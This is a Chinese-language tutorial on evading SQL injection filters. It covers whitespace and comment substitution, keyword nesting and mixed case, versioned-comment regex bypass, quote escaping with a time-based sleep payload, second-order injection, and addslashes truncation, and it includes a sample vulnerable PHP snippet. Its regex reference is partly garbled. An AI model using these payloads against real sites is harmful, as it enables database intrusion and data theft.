1.字符替换

1.1 只过滤空格

除了空格,在代码中可以代替的空白符还有
%0a,%0b,%0c,%0d,%09,%a0(%a0在特定字符集才能利用)
/**/组合,括号

1.2 将select替换为空

可以这样绕过:selselectect

1.3 大小写匹配

sEleCt

1.4 正则匹配

正则匹配关键字”\bselect\b”可以用形如”/!50000select/“的方式绕过
关于正则表达式:

  1. [xyz] 一个字符集,匹配任意一个包含的字符
  2. [^xyz] 一个否定字符集,匹配任何为包含的字符
  3. \w (小写) 匹配字母或数字或者下划线的字符
  4. \W (大写) 匹配不是字母,数字,下划线的字符
  5. \s (小写) 匹配任意空白符
  6. \S (大写) 匹配不是空白符的字符
  7. \d (小写) 匹配数字
  8. \D (大写) 匹配非数字的字符
  9. \b (小写) 匹配单词的开始或结束的位置
  10. \B (大写) 匹配不是单词开头或结束的位置
  11. $ 匹配字符串的结束
  12. ^ 匹配字符串的开始
  13. . 匹配所有,除了换行符
  14. - 重复0次或更多次
  15. - 重复1次或更多次
  16. ? 重复0次或一次
  17. {n} 重复n
  18. {n,} 重复n次或更多次
  19. {n, m} 重复n次到m
  20. 等更多.........

1.5 替换了单引号或双引号,忘记了反斜杠

$sql="select * from TABLE_NAME where id='可控1' and title='可控2' "
/*如上代码*/
可以构造如下代码绕过:
$sql="select * from TABLE_NAME where id='a\' and title='or sleep(1)#' "
此时真实执行的只有or以及其后面的sleep.

2 逃逸引号

2.1 编码解码

关于addslashes函数:
image.png

2.2 二次注入

insert into TABLE_NAME values(2,'admin\'or\'1','some_pass');
这里会插入一个  admin'or'1 的用户名,此时没有注入产生,数据正常入库
但是二次引用时:
select PASSWORD from TABLE_NAME where USERNAME='admin'or'1';
从而产生注入

2.3 字符串截断

addslashes()函数
比如:

<?php
  $conn=mysqli_connect();
  $title=addslashes($_GET['title']);
  $title=substr($title,0,10);
  echo "<center>$title</center>";
  $content=addslashes($_GET['content']);
  $sql="insert into TABLE_NAME values(2,'$title','$content')";
  $res=mysqli_query($conn,$sql);
?>
如果输入"aaaaaaaaa'",会自动转义为:"aaaaaaaaa\'",由于字符长度限制,被截取为:aaaaaaaaa\
正好转义了预置的单引号,这样在content处就产生了注入